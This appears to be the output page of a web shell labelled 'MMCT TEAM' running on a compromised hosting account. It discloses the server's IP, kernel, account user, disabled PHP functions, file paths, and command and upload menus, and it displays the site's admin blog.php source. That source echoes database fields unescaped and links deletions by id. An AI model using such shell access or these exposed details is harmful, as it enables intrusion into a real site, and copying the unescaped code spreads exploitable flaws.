MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.116.60.124
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/web-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/web-admin/blog.php
<?php include('include/header.php');?>
<div class="main_content_iner overly_inner ">
    <div class="container-fluid p-0 ">
        <!-- page title  -->
        <div class="row">
            <div class="col-12">
                <div class="page_title_box  flex-wrap align-items-center justify-content-between">
                    <div class="page_title_left">
                        <div class="row">
                            <div class="col-md-11">
                                <h3 class="mb-0" >Blog</h3>
                            </div>
                            <div class="col-md-1">
                                <a href="add_blog.php" type="button" class="btn btn-primary add_btn" >+</a>
                            </div>
                        </div>
                    </div>

                </div>
            </div>
        </div>
        <div class="row ">
            <div class="col-xl-12">
                <div class="white_card  mb_30">

                    <div class="white_card_body anlite_table p-0">
                       <div class="QA_table mb_30">
                        <!-- table-responsive -->
                        <table class="table lms_table_active3 text-center">
                            <thead>
                                <tr>
                                    <th scope="col">S.NO.</th>
                                    <th scope="col">Image</th>
                                    <th scope="col">Title</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Action</th>

                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                include 'config.php';
                                $q = "select * from web_blog";
                                $query = mysqli_query($conn,$q);
                                $i=1;
                                while($res = mysqli_fetch_array($query)) {

                                    ?>
                                    <tr>
                                        <td><?php echo $i ?></td>
                                        <td scope="row"> <a href="#" class="question_content"><img style="width: 100px;" src="<?php echo $res['img'] ?>"></a></td>
                                        <td><?php echo $res['title'] ?></td>
                                        <td><?php echo $res['create_at'] ?></td>

                                        <td  class="">   
                                            <a class="btn"  href="edit_blog.php?id=<?php echo $res['id']; ?>"  ><i class="text-success fas fa-edit"></i></a>
                                            <a class=" btn" href="delete_blog.php?id=<?php echo $res['id']; ?>"><i class="text-danger fas fa-trash-alt"></i></a></td>

                                        </tr>
                                        <?php $i++; } ?>
                                    </tbody>
                                </table>
                            </div>

                        </div>
                    </div>
                </div>

                

            </div>
        </div>
    </div>

    <!-- The Modal -->
    <div class="modal" id="myModal">
        <div class="modal-dialog">
          <div class="modal-content">

            <!-- Modal Header -->
            <div class="modal-header">
              <h4 class="modal-title">Add Local Rental</h4>
              <button type="button" class="close" data-dismiss="modal">&times;</button>
          </div>

          <!-- Modal body -->
          <div class="modal-body">

            <form class="" action="add/add_local_rental.php" method="POST" enctype="multipart/form-data">
               <div class="row"> 

                <div class="col-md-6">
                    <input type="file" name="image" placeholder="Image" class="form-control" >
                </div>
                <div class="col-md-6">
                    <input type="text" name="img_title" placeholder="Title" class="form-control" >
                </div>
                <div class="ml-auto mt-3 mr-3">
                    <input class="btn btn-success slider_add mt-2 px-5" type="submit" name="upload" value="Submit">
                </div>
            </div>
        </form>

        
        
    </div>
</div>
</div>
</div>
<?php include('include/footer.php');?>

MMCT - 2023